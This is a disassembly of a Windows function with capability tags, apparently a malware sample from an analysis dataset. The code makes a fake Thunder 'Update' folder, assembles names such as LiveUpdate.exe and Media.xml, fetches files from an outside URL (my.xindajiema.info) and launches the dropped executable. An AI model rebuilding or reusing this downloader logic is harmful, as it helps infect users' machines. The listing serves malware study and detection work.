Function at 0x401580
Capabilities:
Access peb ldr_data
Create directory
Create process on windows
Get ntdll base address
Get number of processors
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x402490
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
lea eax, [esp + 0x40]
lea ecx, [esp + 8]
push eax
mov dword [esp + 0x38], 1
call sub.MFC42.DLL_CString::CString_1
push str.C:ProgramData_
lea ecx, [esp + 0x24]
mov byte [esp + 0x38], 2
call sub.MFC42.DLL_CString::CString
push str.C:ProgramDataThunder_
lea ecx, [esp + 0x10]
mov byte [esp + 0x38], 3
call sub.MFC42.DLL_CString::CString
push str.C:ProgramDataThunderUpdate_
lea ecx, [esp + 0x14]
mov byte [esp + 0x38], 4
call sub.MFC42.DLL_CString::CString
push str.LiveU
lea ecx, [esp + 0x18]
mov byte [esp + 0x38], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
push str.pdate.dat
lea edx, [esp + 0x1c]
push ecx
push edx
mov byte [esp + 0x40], 6
call sub.MFC42.DLL_operator_1
lea eax, [esp + 0x14]
push str.pdate360.dat
lea ecx, [esp + 0x20]
push eax
push ecx
mov byte [esp + 0x40], 7
call sub.MFC42.DLL_operator_1
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov bl, 8
push 0
push edx
mov byte [esp + 0x3c], bl
call esi
mov eax, dword [esp + 0x10]
push 0
push eax
call esi
push ecx
lea edx, [esp + 0x24]
mov ecx, esp
mov dword [esp + 0x28], esp
push str.setting.ini
push edx
push ecx
call sub.MFC42.DLL_operator_1
push ecx
lea ecx, [esp + 0x44]
mov eax, esp
mov dword [esp + 0x30], esp
lea edx, [esp + 0x10]
push ecx
push edx
push eax
mov byte [esp + 0x48], 9
call sub.MFC42.DLL_operator
mov byte [esp + 0x3c], bl
call fcn.00401520
add esp, 4
mov eax, esp
mov dword [esp + 0x2c], esp
lea ecx, [esp + 0x10]
push str.LiveUpdate.exe
push ecx
push eax
call sub.MFC42.DLL_operator_1
push ecx
lea eax, [esp + 0x10]
mov edx, esp
mov dword [esp + 0x2c], esp
push str.LiveUpdate.exe
push eax
push edx
mov byte [esp + 0x48], 0xa
call sub.MFC42.DLL_operator_1
mov byte [esp + 0x3c], bl
call fcn.00401520
add esp, 4
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x2c], esp
push str.LiveUpdate.exe
push edx
push ecx
call sub.MFC42.DLL_operator_1
push ecx
lea ecx, [esp + 0x10]
mov eax, esp
mov dword [esp + 0x2c], esp
push str.LiveUpdate.exe
push ecx
push eax
mov byte [esp + 0x48], 0xb
call sub.MFC42.DLL_operator_1
mov byte [esp + 0x3c], bl
call fcn.00401520
add esp, 4
lea eax, [esp + 0x10]
mov edx, esp
mov dword [esp + 0x2c], esp
push str.Media.xml
push eax
push edx
call sub.MFC42.DLL_operator_1
push ecx
lea edx, [esp + 0x10]
mov ecx, esp
mov dword [esp + 0x2c], esp
push str.Media.xml
push edx
push ecx
mov byte [esp + 0x48], 0xc
call sub.MFC42.DLL_operator_1
mov byte [esp + 0x3c], bl
call fcn.00401520
add esp, 4
lea ecx, [esp + 0x1c]
mov eax, esp
mov dword [esp + 0x2c], esp
lea edx, [esp + 0x10]
push ecx
push edx
push eax
call sub.MFC42.DLL_operator
push ecx
lea ecx, [esp + 0x24]
mov eax, esp
mov dword [esp + 0x2c], esp
lea edx, [esp + 0x10]
push ecx
push edx
push eax
mov byte [esp + 0x48], 0xd
call sub.MFC42.DLL_operator
mov byte [esp + 0x3c], bl
call fcn.00401520
add esp, 4
mov eax, esp
lea ecx, [esp + 0x1c]
mov dword [esp + 0x2c], esp
lea edx, [esp + 0x14]
push ecx
push edx
push eax
call sub.MFC42.DLL_operator
push ecx
lea ecx, [esp + 0x24]
mov eax, esp
mov dword [esp + 0x2c], esp
lea edx, [esp + 0x10]
push ecx
push edx
push eax
mov byte [esp + 0x48], 0xe
call sub.MFC42.DLL_operator
mov byte [esp + 0x3c], bl
call fcn.00401520
add esp, 4
lea ecx, [esp + 0x14]
mov eax, esp
mov dword [esp + 0x2c], esp
push str.Media.xml
push ecx
push eax
call sub.MFC42.DLL_operator_1
push ecx
lea eax, [esp + 0x10]
mov edx, esp
mov dword [esp + 0x2c], esp
push str.RSD.xml
push eax
push edx
mov byte [esp + 0x48], 0xf
call sub.MFC42.DLL_operator_1
mov byte [esp + 0x3c], bl
call fcn.00401520
add esp, 8
push 5
push str.C:ProgramDataThunderUpdate
push 0x40537c
push str.LiveUpdate.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0xffffffffffffffff
push 0x4024b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push esi
push 0x405284
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x18], 0
mov edx, dword [eax - 8]
mov esi, dword [ecx]
push edx
push eax
push 0x64
push 0x64
call dword [esi + 0x64]
or esi, 0xffffffff
lea ecx, [esp + 4]
mov dword [esp + 0x18], esi
call fcn.00402008
push str.http:__my.xindajiema.info_picturess_2023_
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push ecx
lea eax, [esp + 0xc]
mov ecx, esp
mov dword [esp + 0x24], esp
push eax
mov dword [esp + 0x20], 1
call sub.MFC42.DLL_CString::CString_1
push ecx
mov byte [esp + 0x20], 2
mov ecx, esp
mov dword [esp + 0x14], esp
push str.119.52.txt
call sub.MFC42.DLL_CString::CString
mov byte [esp + 0x20], 1
call fcn.00401580
add esp, 8
lea ecx, [esp + 8]
mov dword [esp + 0x18], esi
call fcn.00402008
mov ecx, dword [esp + 0x10]
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret 4